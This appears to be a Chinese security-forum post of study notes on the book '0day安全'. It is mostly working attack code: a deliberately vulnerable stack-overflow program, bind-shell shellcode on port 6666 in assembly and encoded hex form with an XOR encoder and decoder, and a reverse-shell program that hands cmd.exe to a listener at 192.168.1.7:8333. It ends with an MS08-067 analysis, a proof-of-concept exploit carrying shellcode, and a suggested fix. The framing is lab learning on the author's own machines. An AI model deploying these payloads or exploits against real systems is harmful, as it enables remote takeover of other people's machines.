查看原文
其他

《0day 安全:软件漏洞分析技术 第二版》笔记

舒默哦 看雪学苑 2022-07-01

本文为看雪论坛优秀文章

看雪论坛作者ID:舒默哦



最近读了一遍0day安全这本书,收获颇多。有种农村人进城,大开眼界的感觉。

这本书比较全面的介绍了windows系统安全机制方面的知识,在没接触这本书之前,自我感觉对windows系统比较了解,但看了书中介绍的知识,一下子崩溃了,盲点太多。

不知道作者有更新版本的打算没有?书里的漏洞案例太老了,测试系统也是32位的老系统。估计其他人读到这本书时,也有此种牢骚。
  
实验时,需要用到windows系统的很多版本,但是我只准备windows xp sp2,很多实验没有做,只是走马观花,大概了解了下。

MS08-067这个漏洞,能够在windows xp sp2重现,所以我跟着书中提供的思路,对MS08-067做了比较详细的分析记录。

本书的一大亮点,是对shellcode的编写做了详细的介绍,包括shellcode组织的各种形式和一些编写技巧。我在win10系统上编写了一个有栈溢出漏洞的程序,然后根据第三章的3.6.2 节所说的功能(打开6666端口),编写了一个shellcode,并且成功利用了这个漏洞。


打开  666端口


测试系统:windows10 (版本1909)

编译器:vs2019 (版本:16.9.6)

shellcode要实现的功能:

1)绑定一个shell到6666端口。

2)允许外部的网络连接使用这个shell。

3)程序能够正常退出。


测试程序


首先要写一个有栈溢出的漏洞的程序:
#define _CRT_SECURE_NO_WARNINGS//#include <Windows.h>#include <iostream>#include <WinSock2.h>#include <winsock.h>#pragma comment(lib,"ws2_32") #define DLL_NAME "user32.dll"#define PASSWORD "1234567"using namespace std; int verify_password(char* password){ int authenticated; char buffer[44]; authenticated = strcmp(password, PASSWORD); strcpy(buffer, password);//造成栈溢出的函数 return authenticated;} int shellcode_test(){ int valid_flag = 0; char password[1024] = { 0 }; FILE* fp; DWORD filesize = 0; if (!(fp = fopen("key.txt", "rb+"))) { exit(0); } fseek(fp, 0, SEEK_END); //指针指向尾部 filesize = ftell(fp); //记录文件的长度 fseek(fp, 0, SEEK_SET); //恢复指针,指向开始位置 //将文件读取缓冲区 fread(password, filesize, 1, fp); valid_flag = verify_password(password); if (valid_flag) { printf("密码错误\n"); } else { printf("密码正确\n"); } fclose(fp);} int main(){ LoadLibraryA("ws2_32.dll"); shellcode_test(); system("pause"); return 0;}

上面构造了一个能够造成栈溢出的程序,栈溢出来自verify_password函数里的strcpy函数。
 
编译时,要关闭以下的一些安全选项,以保证实验顺利进行。

基本运行时检查,选择默认值;安全检查,选择禁用安全检查。
 
关闭SDL检查:
 
关闭DEP保护:
 
此外,准备一个52个字节的key.txt,测试使用:
程序编译好后,用OD来打开这个程序,直接定位到关键点。

查看strcpy执行之前的堆栈状况:
 
再看strcpy执行之后的堆栈状况:


构造shellcode


知道栈溢出的地方后,接下来开始编写shellcode来验证。由于程序启动后,堆栈的地址都是随机的,所以返回地址不能填固定地址。可以利用跳板技术(jmp esp),在程序加载的系统库里找一跳jmp esp的指令,jmp esp指令的硬编码是0xFFE4。

这个程序是在kernelbase.dll里寻找jmp esp指令:
 
搜找一条jmp esp指令:
 
注:0x759802EA必须在代码区,也就是.text所在节,不然执行会出错。这个地址不是一劳永逸的,系统重启的时候,需要重新定位。

通过内存布局查看,0x759802EA在.text节:
 
那么,整个shellcode就可以根据下面的图来组织了:
 

上面已经给出了shellcode要实现的功能,这里再说一下:
1)绑定一个shell到6666端口。
2)允许外部的网络连接使用这个shell。
3)程序能够正常退出。

 
需要用的的函数:LoadLibraryA、CreateProcessA、TerminateProcess、WSAStartup、WSASocketA、bind、listen、accept。

前三个函数来自kernel32.dll,后面函数来自ws2_32.dll。退出程序时,书中给的函数是ExitProcess,但是我在测试的时候,ExitProcess会出现异常,所以这里用TerminateProcess代替ExitProcess,用来退出程序。
  
接下来对函数字符串进行编码。依照书上的代码,把这些函数经过运算后用一个字节的hash来表示,但是在最新的系统上,LoadLibraryA以及listen函数与其他函数有相同的hash值,因此,需要把8位的hash扩展为16位,以解决hash值相同的问题。

下面的算法,把函数字符串转换成2个字节的hash值:
//这里把源代码稍微改了一下,变为2个字节的hash值DWORD hash_collision(const char* funcname){ DWORD ret = 0; __asm { CLD //清除DF标志 xor edx, edx xor eax, eax mov esi, funcnamehash_loop : lodsb xor al, 0x71 sub dx, ax rol dx,1 cmp al, 0x71 jne hash_loop mov ret, edx } return ret;} int _tmain(int argc, _TCHAR* argv[]){ //char ldba[] = "LoadLibraryA";//0x00002BA3 //char ldba[] = "CreateProcessA"; //0x00006b10 //char ldba[] = "TerminateProcess";//0x0000a51b //char ldba[] = "WSAStartup";//0x0000c5c7 //char ldba[] = "WSASocketA";//0x0000b433 //char ldba[] = "bind";//0x0000fa11 //char ldba[] = "listen";//0x0000e971 char ldba[] = "accept";//0x0000ef81 DWORD hashval = hash_collision(ldba); system("pause"); return 0;}

现在来组织橙色部分的shellcode:
//对书中提供的源代码做了些改动 void TestPort(){ //打开6666端口 __asm { mov eax, esp add eax, 7 jmp codearea //函数的hash值 _emit 0xA3 _emit 0x2B //LoadLibraryA _emit 0x10 _emit 0x6b //CreateProcessA _emit 0x1b _emit 0xa5 //TerminateProcess _emit 0xc7 _emit 0xc5 //WSAStartup _emit 0x33 _emit 0xb4 //WSASocketA _emit 0x11 _emit 0xfa //bind _emit 0x71 _emit 0xe9 //listen _emit 0x81 _emit 0xef //accept //"CMd" _emit 0x43 //inc ebx _emit 0x4d //dec ebp _emit 0x64 //FS: codearea: //start of proper code cdq //把edx设置为0 xchg eax, esi //esi = addr of first function hash lea edi, [esi - 0x10] //edi = addr to start writing function //address (last addr will be written just //before "cmd") //定位kernel32.dll的基址 mov ebx, fs: [edx + 0x30] mov ecx, [ebx + 0x0c] mov ecx, [ecx + 0x1c] mov ecx, [ecx] mov ebp, [ecx + 0x08] //ebp = base address of kernel32.dll //提升堆栈空间 提升0x300 mov dh, 0x03 //sizeof(WSADATA) is 0x190 sub esp, edx //把指向"ws2_32"字符串的指针压入到堆栈 mov dx, 0x3233 //edx剩余的部分为空 push edx push 0x5F327377 push esp find_lib_functions : lodsw //从 ESI 指向的内存地址加载一个字节到AL //ESI 按照方向标志位的状态递增或递减,这儿是递增 cmp ax, 0xc5c7 //0xc5c7是WSAStartup的hash值 jne find_functions xchg eax, ebp //save current hash call[edi - 0xC] //LoadLibraryA xchg eax, ebp //restore current hash push edi find_functions : pushad //保存寄存器 mov eax, [ebp + 0x3C] //eax = start of PE header mov ecx, [ebp + eax + 0x78] //ecx = relative offset of export table add ecx, ebp //导出表结构地址PIMAGE_EXPORT_DIRECTORY mov ebx, [ecx + 0x20] //+20 导出函数名称表 即为_IMAGE_EXPORT_DIRECTORY + AddressOfNames add ebx, ebp //函数名称地址 xor edi, edi next_function_loop : inc edi mov esi, [ebx + edi * 4] //esi = relative offset of current function name add esi, ebp //esi = absolute offset of current function name cdq //CDQ这个指令把EAX的第31bit复制到 EDX 的每一个bit上 xor eax,eax xor edx,edx hash_loop : lodsb //从 ESI 指向的内存地址加载两个字节到Ax //ESI 按照方向标志位的状态递增或递减,这儿是递增 xor al, 0x71 sub dx, ax rol dx, 1 cmp al, 0x71 //loop until we reach end of string jne hash_loop cmp dx, [esp + 0x1C] //compare to the requested hash (saved on stack from pushed) jnz next_function_loop mov ebx, [ecx + 0x24] //+0x24 导出函数序号表 _IMAGE_EXPROT_DIRECTORY + AddressOfNameOrdinals add ebx, ebp //ebx = absolute addr of ordinals table mov di, [ebx + 2 * edi] //di = ordinal number of matched mov ebx, [ecx + 0x1C] //+0x1C 导出函数地址表 _IMAGE_EXPROT_DIRECTORY + AddressOfFunctions add ebx, ebp //ebx = absolute addr of address table add ebp, [ebx + 4 * edi] //add to ebp (base addr of module) the relative offset of matched function //relative offset of matched function xchg eax, ebp //move func addr into eax pop edi //edi is last onto stack in pushed stosd //stosd指令将EAX的内容存入由EDI中偏移量指向的内存位置 push edi //EDI按照方向标志位的状态递增或递减,这儿是递增 popad //恢复寄存器 cmp esi, edi //loop until we reach end of last hash jne find_lib_functions pop esi //saved location of first winsock function //we will lodsd and call each func in sequence //初始化winsock push esp //use stack for WSADATA push 0x02 //wVersionRequested lodsd call eax //调用WSAStartup //null-terminate "cmd" mov byte ptr[esi + 0x13], al //eax = 0 if WSAStartup() worked //clear some stack to use as NULL parameters lea ecx, [eax + 0x30] //sizeof(STARTUPINFO) = 0x44 mov edi, esp rep stosd //eax is still 0 //rep指令的目的是重复其上面的指令.ECX的值是重复的次数. //STOS指令的作用是将eax中的值拷贝到ES:EDI指向的地址. //create socket inc eax push eax //type = 1 (SOCK_STREAM) inc eax push eax //af = 2(AF_INET) lodsd call eax //WSASocketA xchg ebp, eax //save SOCKET descriptor in ebp //push bind parameters mov eax, 0x0a1aff02 //0x1a0a = prot 6666,0x02 = AF_INET xor ah, ah //remove the ff from eax push eax push esp //pointer to our sockaddr struct //call bind(),listen() and accept() in turncall_loop: push ebp //saved SOCKET descriptor (we implicitly pass NULL for all other params) lodsd call eax //call the next function test eax, eax //bind() and listen() return 0,accept() returns //a SOCKET descriptor jz call_loop //initialise a STARTUPINFO structure at esp inc byte ptr[esp + 0x2d] //set STARTF_USESTDHANDLES to true sub edi, 0x6c //point edi at hStdInput in STARTUPINFO stosd //use SOCKET descriptor returned by accept //(still in eax) as the stdin handle same for stdout stosd //same for stderr (optional) //创建子进程 pop eax //set eax = 0 (STARTUPINFO now at esp + 4) push esp //use stack as PROCESSINFORMATION structure //(STARTUPINFO now back to esp) push esp //STARTUPINFO structure push eax //lpCurrentDirectory = NULL push eax //lpEnvironment = NULL push eax //dwCreationFlags = NULL push esp //bInheritHandles = true push eax //lpThreadAttributes = NULL push eax //lpProcessAttributes = NULL push esi //lpCommandLine = "cmd" push eax //lpApplicationName = NULL call[esi - 0x1c] //CreateProcessA push ebx push 0xFFFFFFFF call[esi - 0x18] //调用TerminateProcess() }} int _tmain(int argc, _TCHAR* argv[]){ TestPort(); system("pause"); return 0;}

以上的汇编指令,可以通过OD来把硬编码抠出来:
char codetest[] = { 0x8B, 0xC4, 0x83, 0xC0, 0x7, 0xEB, 0x13, 0xA3, 0x2B, 0x10, 0x6B, 0x1B, 0xA5, 0xC7, 0xC5, 0x33, 0xB4, 0x11, 0xFA, 0x71, 0xE9, 0x81, 0xEF, 0x43, 0x4D, 0x64, 0x99, 0x96, 0x8D, 0x7E, 0xF0, 0x64, 0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B, 0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xB6, 0x03, 0x2B, 0xE2, 0x66, 0xBA, 0x33, 0x32, 0x52, 0x68, 0x77, 0x73, 0x32, 0x5F, 0x54, 0x66, 0xAD, 0x66, 0x3D, 0xC7, 0xC5, 0x75, 0x06, 0x95, 0xFF, 0x57, 0xF4, 0x95, 0x57, 0x60, 0x8B, 0x45, 0x3C, 0x8B, 0x4C, 0x05, 0x78, 0x03, 0xCD, 0x8B, 0x59, 0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34, 0xBB, 0x03, 0xF5, 0x99, 0x33, 0xC0, 0x33, 0xD2, 0xAC, 0x34, 0x71, 0x66, 0x2B, 0xD0, 0x66, 0xD1, 0xC2, 0x3C, 0x71, 0x75, 0xF3, 0x66, 0x3B, 0x54, 0x24, 0x1C, 0x75, 0xE1, 0x8B, 0x59, 0x24, 0x03, 0xDD, 0x66, 0x8B, 0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03, 0xDD, 0x03, 0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57, 0x61, 0x3B, 0xF7, 0x75, 0xA8, 0x5E, 0x54, 0x6A, 0x02, 0xAD, 0xFF, 0xD0, 0x88, 0x46, 0x13, 0x8D, 0x48, 0x30, 0x8B, 0xFC, 0xF3, 0xAB, 0x40, 0x50, 0x40, 0x50, 0xAD, 0xFF, 0xD0, 0x95, 0xB8, 0x02, 0xFF, 0x1A, 0x0A, 0x32, 0xE4, 0x50, 0x54, 0x55, 0xAD, 0xFF, 0xD0, 0x85, 0xC0, 0x74, 0xF8, 0xFE, 0x44, 0x24, 0x2D, 0x83, 0xEF, 0x6C, 0xAB, 0xAB, 0x58, 0x54, 0x54, 0x50, 0x50, 0x50, 0x54, 0x50, 0x50, 0x56, 0x50, 0xFF, 0x56, 0xE4, 0x53, 0x6A, 0xFF, 0xFF, 0x56, 0xE8    };

对shellcode编码


接下来对codetest数组里的值进行编码:
//对shellcode进行编码void encoder(char* input, unsigned char key, int display_flag){ int i = 0, len = 0; FILE* fp; unsigned char* output = 0; len = strlen(input); output = (unsigned char*)malloc(len + 1); if (!output) { printf("内存申请失败!\n"); system("pause"); exit(0); } //encode the shellcode for (i = 0; i < len; i++) { output[i] = input[i] ^ key; } if (!(fp = fopen("encode.txt", "w+"))) { printf("文件创建失败!\n"); system("pause"); exit(0); } fprintf(fp, "\""); for (i = 0; i < len; i++) { fprintf(fp, "\\x%0.2x", output[i]); if ((i + 1) % 16 == 0) { fprintf(fp, "\"\n\""); } } fprintf(fp, "\";"); fclose(fp); printf("dump the encoded shellcode to encode.txt OK!\n"); if (display_flag)//打印 { for (i = 0; i < len; i++) { printf("%0.2x ", output[i]); if ((i + 1) % 16 == 0) { printf("\n"); } } } free(output);} int _tmain(int argc, _TCHAR* argv[]){ char codetest[] = { 0x8B, 0xC4, 0x83, 0xC0, 0x1d, 0xEB, 0x13, 0xA3, 0x2B, 0x10, 0x6B, 0x1B, 0xA5, 0xC7, 0xC5, 0x33, 0xB4, 0x11, 0xFA, 0x71, 0xE9, 0x81, 0xEF, 0x43, 0x4D, 0x64, 0x99, 0x96, 0x8D, 0x7E, 0xF0, 0x64, 0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B, 0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xB6, 0x03, 0x2B, 0xE2, 0x66, 0xBA, 0x33, 0x32, 0x52, 0x68, 0x77, 0x73, 0x32, 0x5F, 0x54, 0x66, 0xAD, 0x66, 0x3D, 0xC7, 0xC5, 0x75, 0x06, 0x95, 0xFF, 0x57, 0xF4, 0x95, 0x57, 0x60, 0x8B, 0x45, 0x3C, 0x8B, 0x4C, 0x05, 0x78, 0x03, 0xCD, 0x8B, 0x59, 0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34, 0xBB, 0x03, 0xF5, 0x99, 0x33, 0xC0, 0x33, 0xD2, 0xAC, 0x34, 0x71, 0x66, 0x2B, 0xD0, 0x66, 0xD1, 0xC2, 0x3C, 0x71, 0x75, 0xF3, 0x66, 0x3B, 0x54, 0x24, 0x1C, 0x75, 0xE1, 0x8B, 0x59, 0x24, 0x03, 0xDD, 0x66, 0x8B, 0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03, 0xDD, 0x03, 0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57, 0x61, 0x3B, 0xF7, 0x75, 0xA8, 0x5E, 0x54, 0x6A, 0x02, 0xAD, 0xFF, 0xD0, 0x88, 0x46, 0x13, 0x8D, 0x48, 0x30, 0x8B, 0xFC, 0xF3, 0xAB, 0x40, 0x50, 0x40, 0x50, 0xAD, 0xFF, 0xD0, 0x95, 0xB8, 0x02, 0xFF, 0x1A, 0x0A, 0x32, 0xE4, 0x50, 0x54, 0x55, 0xAD, 0xFF, 0xD0, 0x85, 0xC0, 0x74, 0xF8, 0xFE, 0x44, 0x24, 0x2D, 0x83, 0xEF, 0x6C, 0xAB, 0xAB, 0x58, 0x54, 0x54, 0x50, 0x50, 0x50, 0x54, 0x50, 0x50, 0x56, 0x50, 0xFF, 0x56, 0xE4, 0x53, 0x6A, 0xFF, 0xFF, 0x56, 0xE8, 0x90 }; encoder(codetest, 0x91, 1);//通过和0x91异或输出到文件encode.txt,以及打印出来 system("pause"); return 0;}

注意:把codetest的第5字节0x7改为0x1d。这是根据解码器的硬编码的字节数,计算之后再加上去的。

 
此外,在codetest的末尾加上0x90,用来标明解密的结束标志:
 
编译好后,启动程序,输出的结果如下:
 
把编了码的shellcode拷贝出来,备用:
//shellcode1a 55 12 51 8c 7a 82 32 ba 81 fa 8a 34 56 54 a225 80 6b e0 78 10 7e d2 dc f5 08 07 1c ef 61 f51a cb a1 1a da 9d 1a d8 8d 1a 98 1a f8 99 27 92ba 73 f7 2b a2 a3 c3 f9 e6 e2 a3 ce c5 f7 3c f7ac 56 54 e4 97 04 6e c6 65 04 c6 f1 1a d4 ad 1add 94 e9 92 5c 1a c8 b1 92 4c a2 6e d6 1a a5 2a92 64 08 a2 51 a2 43 3d a5 e0 f7 ba 41 f7 40 53ad e0 e4 62 f7 aa c5 b5 8d e4 70 1a c8 b5 92 4cf7 1a ad ea 1a c8 8d 92 4c 92 bd 2a 04 ce 3a c6f0 aa 66 e4 39 cf c5 fb 93 3c 6e 41 19 d7 82 1cd9 a1 1a 6d 62 3a d1 c1 d1 c1 3c 6e 41 04 29 936e 8b 9b a3 75 c1 c5 c4 3c 6e 41 14 51 e5 69 6fd5 b5 bc 12 7e fd 3a 3a c9 c5 c5 c1 c1 c1 c5 c1c1 c7 c1 6e c7 75 c2 fb 6e 6e c7 79 01 6f 88

解码器:
//解码器void decoder(){ __asm { mov eax,esp add eax,0x16 //越过decoder,记录shellcode的起始位置 xor ecx,ecx decode_loop: mov bl,[eax+ecx] xor bl,0x91 //这里用0x91作为key(注意:假如编码时的key不为0x91,那么,这里也要做相应的改变) mov [eax+ecx],bl inc ecx cmp bl,0x90 //在shellcode末尾放上一个字节的0x90作为结束符 jne decode_loop }}//解码器的硬编码 //8B C4 83 C0 16 33 C9 8A 1C 08 80 F3 91 88 1C 08 41 80 FB 90 75 F1

整个shellcode的组织,如下图:
 
最后,可以把组织好的shellcode拷贝到key.txt文件中了:
这里,再把上面的整个过程流程捋一下:
1) 写一个有栈溢出漏洞的程序。
2) 对要用到的函数进行编码。
3) 组织shellcode。
4) 再对shellcode进行编码,然后把组织好的shellcode拷贝到key.txt文件中。


运行程序


最后,运行这个有栈溢出漏洞的程序。

用OD打开,经过jmp esp跳转后到达这里:
 
解码完之后,按F7单步跟,程序会在accent函数中阻塞,等待连接:
 
此时,打开cmd查看侦听的端口,可以知道6666端口已在侦听了。
 
查看IP地址:
 
用kali来连接6666端口来做测试:
 
kali中输入telnet 192.168.1.3 6666,按下回车后,OD中的accept函数从阻塞中恢复。

程序执行CreateProcessA后,kali得到了主机的cmd。程序再调用TerminateProcess安全退出。
 
kali成功控制了主机:



反弹  shell


这里写一个反弹shell的例子,方便以后查看。代码在网上找的。

实验机器:主机是win10(版本:17763)系统,控制主机的机器是kali。

实验代码:client.exe
#define _WINSOCK_DEPRECATED_NO_WARNINGS#include <iostream>#include <WinSock2.h>#include <winsock.h>#pragma comment(lib,"ws2_32")#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//隐藏控制台窗口#define REMOTE_ADDR "192.168.1.7" //在kali上,通过ifconfig查看得知ip为"192.168.1.7"#define REMOTE_PORT 8333//反弹shellvoid ReverseShellcode(){ //初始化WSA套接字 WSADATA wsd; WSAStartup(0x0202, &wsd); SOCKET socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); SOCKADDR_IN sin; sin.sin_addr.S_un.S_addr = inet_addr(REMOTE_ADDR);//要连接的主机 sin.sin_port = htons(REMOTE_PORT);//端口 sin.sin_family = AF_INET; //连接远程的服务端,发送验证代码 connect(socket, (sockaddr*)&sin, sizeof(sin)); send(socket, "[+]Hello!n", strlen("[+]Hello!n"), 0); //创建cmd进程 STARTUPINFO si; PROCESS_INFORMATION pi; GetStartupInfo(&si); si.cb = sizeof(STARTUPINFO); si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)socket; //将标准输入输出绑定到Socket si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; TCHAR cmdline[255] = L"cmd.exe"; while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi)) { //创建进程,第五个参数TRUE子进程继承父进程的所有句柄 Sleep(1000); } WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread);} int main(){ ReverseShellcode(); system("pause"); return 0;}

实验步骤:

1、先在kali上监听8333的端口,命令是 sudo nc -l -p 8333。
 
2、在win10系统点击client.exe启动程序:

 
3、查看kali,连接成功:



MS08  067


简介

2008年10月23日,微软紧急发布了一个严重的安全补丁MS08-067KB958644)。MS08-067是继 MS06-040之后又一个可以被利用的 RPC 漏洞,“著名”的 Conficker(又 名 Downadup、Kido)蠕虫利用的就是这个漏洞。


漏洞分析

这个漏洞存在NetpwPathCannonicalize 函数的子函数 CanonicalizePathName 中,这两个函数都在netapi32.dll中。


受影响的系统:Windows 2000 SP4,Windows XP SP2和SP3,Windows Server 2003 SP1和SP2,Windows Vista Gold和SP1,Windows Server 2008和Windows 7 Pre-Beta。


发生栈溢出的位置,在CanonicalizePathName函数的子函数RemoveLegacyFolder中:

 
RemoveLegacyFolder函数的作用就是将合并路径中的经典目录移去,使路径达到最简洁状态。

比如:“aaa\bbbb.\ddddd.....\cccc\eeeee”实际上就是等于“ aaa\cccc\eeeee”。RemoveLegacyFolder函数的作用就是如此。

接下来具体看一下这个函数:


 
现在直接把这个函数拷贝到vs2019进行测试:
#include <Windows.h>#include <iostream>#include<Psapi.h>#include<profileapi.h>#include <tchar.h> int __stdcall RemoveLegacyFolder(wchar_t* Destination){ wchar_t* v1; // ecx wchar_t v2; // ax wchar_t* v3; // ebx wchar_t* v4; // edi wchar_t* v5; // esi const wchar_t* v6; // eax wchar_t v7; // dx wchar_t v8; // bx wchar_t v10; // dx wchar_t* i; // ecx wchar_t v12; // ax wchar_t* j; // eax wchar_t* v14; // ecx wchar_t* v15; // [esp+Ch] [ebp-4h] v1 = Destination; v2 = *Destination; v3 = 0; v4 = 0; v15 = 0; if (*Destination == 0x5C || v2 == 0x2F) { v10 = Destination[1]; if (v10 == 0x5C || v10 == 0x2F) { for (i = Destination + 2; ; ++i) { v12 = *i; if (*i == 0x5C || v12 == 0x2F) break; if (!v12) return 0; } if (!*i) return 0; v1 = i + 1; v2 = *v1; Destination = v1; if (*v1 == 0x5C || v2 == 0x2F) return 0; } } v5 = v1; if (!v2) return 1; while (1) { if (v2 == 0x5C) { if (v3 == v5 - 1) return 0; v4 = v3; v15 = v5; goto LABEL_6; } if (v2 != 0x2E || v3 != v5 - 1 && v5 != v1) goto LABEL_6; v6 = v5 + 1; v7 = v5[1]; if (v7 == 0x2E) { v8 = v5[2]; if (v8 == 0x5C || !v8) { if (!v4) return 0; wcscpy(v4, v5 + 2);//移经操作 if (!v8) return 1; v15 = v4; v5 = v4; for (j = v4 - 1; *j != 0x5C && j != Destination; --j) ; v1 = Destination; v4 = (wchar_t*)(*j == 0x5C ? (unsigned int)j : 0); } goto LABEL_6; } if (v7 != 0x5C) break; if (v3) { v14 = v3; } else { v6 = v5 + 2; v14 = v5; } wcscpy(v14, v6); v1 = Destination; LABEL_7: v2 = *v5; if (!*v5) return 1; v3 = v15; } if (v7) { LABEL_6: ++v5; goto LABEL_7; } if (v3) v5 = v3; *v5 = 0; return 1;} int _tmain(int argc, _TCHAR* argv[]){ wchar_t path[] = L"\\aaa\\..\\..\\bbbb"; RemoveLegacyFolder(path); system("pause"); return 0;}

上面测试时程序能正常退出,现在把path改一改:
wchar_t path[] =L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";

再运行时,程序卡住了:
 
接下来,在关键位置进行单步调试:
 
那么,再次执行移经操作时,只要字符串足够多,就会把函数使用的堆栈空间覆盖掉。事实也是如此。
 
执行到545行,造成了访问权限冲突,这是因为v4是局部变量,经过移经操作后,v4的值被覆盖了。
 
问题就是出现在这一行:
for (j = v4 - 1; *j != 0x5C && j != Destination; --j) ;

v4 = (wchar_t)(j == 0x5C ? (unsigned int)j : 0);//在对v4赋值的时候,没有检查j是否越界。也就是说,对传进来的指针Destination没有和j对比,就直接把j赋值给v4了。
 
黑盒测试:(系统环境:windows xp sp2 , 编译器:vc6)
//以下是书中提供的源码#include <windows.h>#include <stdio.h>typedef int (__stdcall *MYPROC) (LPWSTR, LPWSTR, DWORD,LPWSTR, LPDWORD,DWORD);int main(int argc, char* argv[]){ WCHAR path[256]; WCHAR can_path[256]; DWORD type = 1000; int retval; HMODULE handle = LoadLibrary(".\\netapi32.dll"); MYPROC Trigger = NULL; if (NULL == handle) { wprintf(L"Fail to load library!\n"); return -1; } Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize"); if (NULL == Trigger) { FreeLibrary(handle); wprintf(L"Fail to get api address!\n"); return -1; } path[0] = 0; wcscpy(path, L"\\ccc\\aaa\\..\\..\\bbbb"); can_path[0] = 0; type = 1000; wprintf(L"BEFORE: %s\n", path); retval = (Trigger)(path, can_path, 1000, NULL, &type, 1); wprintf(L"AFTER : %s\n", can_path); wprintf(L"RETVAL: %s(0x%X)\n\n", retval?L"FAIL":L"SUCCESS", retval); FreeLibrary(handle); getchar(); return 0;}

总结一下,成功溢出的条件有 3 个:
1)充分条件:前向搜索隔离符时,越过了 Buff_OF 指向的待处理串。
2)必要条件:合并路径中至少存在两个连续的经典目录‘..\’。
3)必要条件:合并路径中第二个‘..\’后有足够多的字符数以覆盖返回地址。


exploit编写


1、首先,要计算出wcscpy 的返回地址和 previous_slash的差值:

 
2、构造poc代码:
//书上提供的源码#include "stdafx.h"#include <windows.h>#include <stdio.h> typedef int(__stdcall* MYPROC) (LPWSTR, LPWSTR, DWORD, LPWSTR, LPDWORD, DWORD);// address of jmp esp#define JMP_ESP "\x5D\x38\x82\x7C\x00\x00"//shellcode#define SHELL_CODE "\x90\x90\x90\x90"\"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" \"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" \"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" \"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" \"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" \"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00"int main(int argc, char* argv[]){ WCHAR path[256]; WCHAR can_path[256]; DWORD type = 1000; int retval; HMODULE handle = LoadLibraryA(".\\netapi32.dll"); MYPROC Trigger = NULL; if (NULL == handle) { wprintf(L"Fail to load library!\n"); return -1; } Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize"); if (NULL == Trigger) { FreeLibrary(handle); wprintf(L"Fail to get api address!\n"); return -1; } path[0] = 0; wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"); wcscat(path,(wchar_t*)JMP_ESP); wcscat(path,(wchar_t*)SHELL_CODE); can_path[0] = 0; type = 1000; wprintf(L"BEFORE: %s\n", path); retval = (Trigger)(path, can_path, 1000, NULL, &type, 1); wprintf(L"AFTER : %s\n", can_path); wprintf(L"RETVAL: %s(0x%X)\n\n", retval ? L"FAIL" : L"SUCCESS", retval); FreeLibrary(handle); return 0;}

3、启动程序,成功运行了:


修复方案


1、把wcscpy函数加入 security cookie 机制,以防止缓冲区溢出。

2、对RemoveLegacyFolder函数进行如下修改:
for (j = v4 - 1; *j != 0x5C && j != Destination; --j) ;把j != Destination 改为 j >Destinationfor (j = v4 - 1; *j != 0x5C && j > Destination; --j)                   ;


- End -




看雪ID:舒默哦

https://bbs.pediy.com/user-home-877885.htm

  *本文由看雪论坛 舒默哦 原创,转载请注明来自看雪社区。



《安卓高级研修班》2021年6月班火热招生中!


# 往期推荐





公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存